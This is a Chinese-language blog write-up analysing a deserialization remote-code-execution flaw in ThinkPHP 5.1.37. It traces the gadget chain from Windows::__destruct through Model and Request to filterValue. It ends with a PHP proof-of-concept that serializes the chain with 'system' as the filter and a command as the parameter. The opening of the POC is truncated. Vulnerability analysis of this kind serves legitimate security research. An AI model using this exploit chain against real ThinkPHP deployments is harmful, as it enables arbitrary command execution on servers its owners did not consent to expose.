(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析

Thinkphp 5.1.37反序列化漏洞

准备工作

安装Thinkphp 5.1.37环境

首先去github下载Thinkphp的源码,现在Thinkphp已经分为2个部分,
https://github.com/top-think/framework/tags
https://github.com/top-think/thinkphp/tags
下载5.1.37(最新版)对应的版本号

将framework改名为为thinkphp放到think-5.1.37中

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第1张图片

复现过程

直接去/public/index.php加反序列化的利用部分开始快乐(绝望)调试

首先从destruct跟进到removeFiles方法

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第2张图片

实例化Pivot类

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第3张图片

Pivot继承的是Model,所以我们要去找Model的construct方法

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第4张图片

Model引入了Attribute、Conversion(这俩货是个抽象类不能实例化)这个类,所以等于间接在Windows这个文件下引入Conversion类,file_exists就可以触发Conversion下的toString方法

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第5张图片

然后跟进到toArray方法

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第6张图片

最终目的是让relation为new Request,前面的getRelation不管,他自己会返回空,跟进带getAttr

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第7张图片

跟进getData方法

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第8张图片

$key是append的键值,然后传给getAttr方法,然后再把这个值给getData方法,这里会检测data属性中是否有对应的键值,有的话返回这个键值对应的值,我们传一个键值是request,然后写一个[‘request’=>new Request()]的数组即可触发Request下的call方法

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第9张图片

到了这里就可以去找经典利用点input了,但是因为args第一个值被固定,input方法中会有一次转类型,对象转字符串会原地去世,所以要找一个不受这个值影响的方法isAjax

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第10张图片

跟进param

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第11张图片

跟进input

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第12张图片

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第13张图片

$name为空字符串即可绕过前两个if

跟进filterValue

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第14张图片

让filter为system,value为dir即可,value接受的是param中$this->param的参数,filters同理

(TP系列历史漏洞分析)Thinkphp 5.1.37反序列化漏洞分析_第15张图片

POC

files[]=new Pivot();
        }
    }
}
namespace think{
    abstract class Model{
        protected $append;
        private $data;
        function __construct(){
            $this->data = ['request'=>new Request()];
            $this->append = ['request' => ''];
            $this->append['request'] = array(
                'aa' => 'aaa'
            );
        }
    }    
}
namespace think\model{
    use think\Model;
    use think\Request;
    class Pivot extends Model{
    }
}
namespace think{
    class Request{
        protected $hook;
        protected $param;
        protected $filter;
        protected $config = [
            // 表单请求类型伪装变量
            'var_method'       => '_method',
            // 表单ajax伪装变量
            'var_ajax'         => '',
            // 表单pjax伪装变量
            'var_pjax'         => '_pjax',
            // PATHINFO变量名 用于兼容模式
            'var_pathinfo'     => 's',
            // 兼容PATH_INFO获取
            'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
            // 默认全局过滤方法 用逗号分隔多个
            'default_filter'   => '',
            // 域名根,如thinkphp.cn
            'url_domain_root'  => '',
            // HTTPS代理标识
            'https_agent_name' => '',
            // IP代理获取标识
            'http_agent_ip'    => 'HTTP_X_REAL_IP',
            // URL伪静态后缀
            'url_html_suffix'  => 'html',
        ];
        public function __construct(){
            $this->hook = ["visible"=>[$this,"isAjax"]];
            $this->param = ['dir'];
            $this->filter = array('1' => 'system','2' => '2');

        }
    }
}
namespace {
    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows));
}
?>


你可能感兴趣的:(php,thinkphp)